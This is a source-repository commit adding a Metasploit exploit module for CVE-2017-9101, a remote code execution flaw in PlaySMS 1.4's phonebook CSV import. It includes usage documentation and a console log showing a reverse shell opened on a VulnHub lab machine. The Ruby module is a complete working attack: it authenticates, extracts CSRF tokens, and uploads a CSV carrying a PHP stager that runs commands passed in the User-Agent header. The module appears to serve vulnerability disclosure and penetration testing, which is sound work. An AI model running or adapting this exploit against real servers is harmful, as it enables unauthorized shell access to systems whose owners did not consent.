PlaySMS 1.4 RCE

PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
GSoC/Meterpreter_Web_Console
Touhid M Shaikh 2018-03-18 13:46:30 +05:30
parent ea3378753b
commit 0e0fcdf727
2 changed files with 355 additions and 0 deletions

View File

@ -0,0 +1,159 @@
## Description
import.php (aka the Phonebook import feature) in PlaySMS 1.4 allows remote code execution via vectors involving the User-Agent HTTP header
and PHP code in the name of a file.
CVE ID : CVE-2017-9101
## Vulnerable Application
According To publicly exploit Disclosure of PlaySMS 1.4
this application is vulnerable to 'import.php' Remote Code Execution
read more : https://www.exploit-db.com/exploits/42044/
**Vulnerable Application Link**
https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz
## Vulnerable Application Installation Setup.
Download Application : ```wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz```
Extract..
Move In WebDirectory : ```mv playsms-1.4/web/* /var/www/html/```
Change Owner : ```chown -R www-data:www-data /var/www/html/```
Set DB creds in Config File. And dump playsms-1.4/db/playsms.sql in your playsms database.
Now Visit.
Vulnhub machine : https://www.vulnhub.com/entry/dina-101,200/
**And Follow Clipbucket Installer**
Visit : http://localhost/
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/unix/http/playsms_uploadcsv_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `set targeturi SecreTSMSgatwayLogin`
6. Do: `check`
```
[*] 10.22.1.10:80 The target appears to be vulnerable.
```
7. Do: `set lport <port>`
8. Do: `set lhost <ip>`
9. Do: `exploit`
10. You should get a shell.
## Options
**TARGETURI**
TARGETURI by default is `/`, however it can be changed.
## Scenarios
**TESTED AGAINST LINUX**
```
msf auxiliary(scanner/smb/smb_enum_gpp) > use exploit/unix/http/playsms_uploadcsv_exec
msf exploit(unix/http/playsms_uploadcsv_exec) > set targeturi SecreTSMSgatwayLogin
targeturi => SecreTSMSgatwayLogin
msf exploit(unix/http/playsms_uploadcsv_exec) > set rhost 10.22.1.10
rhost => 10.22.1.10
msf exploit(unix/http/playsms_uploadcsv_exec) > set username touhid
username => touhid
msf exploit(unix/http/playsms_uploadcsv_exec) > set password diana
password => diana
msf exploit(unix/http/playsms_uploadcsv_exec) > set lhost 10.22.1.9
lhost => 10.22.1.9
msf exploit(unix/http/playsms_uploadcsv_exec) > show options
Module options (exploit/unix/http/playsms_uploadcsv_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD diana yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.22.1.10 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI SecreTSMSgatwayLogin yes Base playsms directory path
USERNAME touhid yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.22.1.9 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PlaySMS 1.4
msf exploit(unix/http/playsms_uploadcsv_exec) > check
[*] 10.22.1.10:80 The target appears to be vulnerable.
msf exploit(unix/http/playsms_uploadcsv_exec) > exploit
[*] Started reverse TCP handler on 10.22.1.9:4444
[*] Trying to Login ......
[+] Authentication successful: touhid:diana
[*] Trying to upload malicious CSV file ....
[*] Command shell session 1 opened (10.22.1.9:4444 -> 10.22.1.10:57706) at 2018-03-18 13:10:24 +0530
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux Dina 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
^Z
Background session 1? [y/N] y
msf exploit(unix/http/playsms_uploadcsv_exec) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.22.1.9:4444 -> 10.22.1.10:57706 (10.22.1.10)
msf exploit(unix/http/playsms_uploadcsv_exec) > set verbose true
verbose => true
msf exploit(unix/http/playsms_uploadcsv_exec) > exploit
[*] Started reverse TCP handler on 10.22.1.9:4444
[+] X-CSRF-Token for login : cf6f56ccf44e26d046ed153319340c14
[*] Trying to Login ......
[+] Authentication successful: touhid:diana
[+] X-CSRF-Token for upload : 7bd4ffbe733ecaa9bea1c5dce9e040e7
[*] Trying to upload malicious CSV file ....
[*] Command shell session 2 opened (10.22.1.9:4444 -> 10.22.1.10:57711) at 2018-03-18 13:17:09 +0530
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux Dina 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
ls -la
total 52
drwxr-xr-x 6 root root 4096 Oct 17 19:09 .
drwxr-xr-x 9 root root 4096 Oct 17 20:51 ..
-rw-r--r-- 1 root root 2908 Oct 17 19:08 config-dist.php
-rw-r--r-- 1 root root 2903 Oct 17 19:11 config.php
drwxr-xr-x 3 root root 4096 Oct 17 19:08 inc
-rw-r--r-- 1 root root 3205 Oct 17 19:08 index.php
-rw-r--r-- 1 root root 13463 Oct 17 19:08 init.php
drwxr-xr-x 3 root root 4096 Oct 17 19:08 lib
drwxr-xr-x 7 root root 4096 Oct 17 19:08 plugin
drwxr-xr-x 3 root root 4096 Oct 17 19:08 storage
```

View File

@ -0,0 +1,196 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PlaySMS 1.4 - import.php, CSV file upload Remote Code Execution',
'Description' => %q{
PlaySMS 1.4 - import.php (aka the Phonebook import feature), CSV file upload with milicious payload
Remote Code Execution via vectors involving the User-Agent HTTP header and PHP code in the User-Agent.
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine.
},
'Author' =>
[
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Discoverys and Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE','2017-9101'],
['EDB', '42044']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
},
'Privileged' => false,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'PlaySMS 1.4', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 21 2017'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/playsms']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'password'])
])
end
def uri
return target_uri.path
end
def check
res = nil
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'].include?("index.php?app=main&inc=core_auth&route=login")
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vhost' => "#{rhost}:#{rport}",
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
}
})
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")
cookies = res.get_cookies
print_status("Trying to Login ......")
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login',
},
'vars_post' => {
'X-CSRF-Token' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
})
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end
# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
})
# if we redirect to core_welcome dan we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
return nil
end
end
# Tested successfully on Dina: 1.0.1 machine on vulnhub.
# Link : https://www.vulnhub.com/entry/dina-101,200/
def exploit
cookies = login
# Agian CSRF token.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vhost' => "#{rhost}:#{rport}",
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'feature_phonebook',
'route' => 'import',
'op' => 'list',
}
})
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for upload : #{csrf}")
# Payload.
stager = "<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>"
#making csv file body
final_stager = "Name,Email,Department\n"
final_stager << stager
final_stager <<',2,3'
# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"X-CSRF-Token\"") # CSRF token
post_data.add_part(final_stager, content_type = "text/csv", transfer_encoding = nil, content_disposition = "form-data; name=\"fnpb\"; filename=\"agent22.csv\"") #payload
data = post_data.to_s
print_status("Trying to upload malicious CSV file ....")
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'vhost' => "#{rhost}:#{rport}",
'agent' => payload.encode,
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'feature_phonebook',
'route' => 'import',
'op' => 'import',
},
'headers' => {
'Upgrade-Insecure-Requests' => '1',
},
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
end
end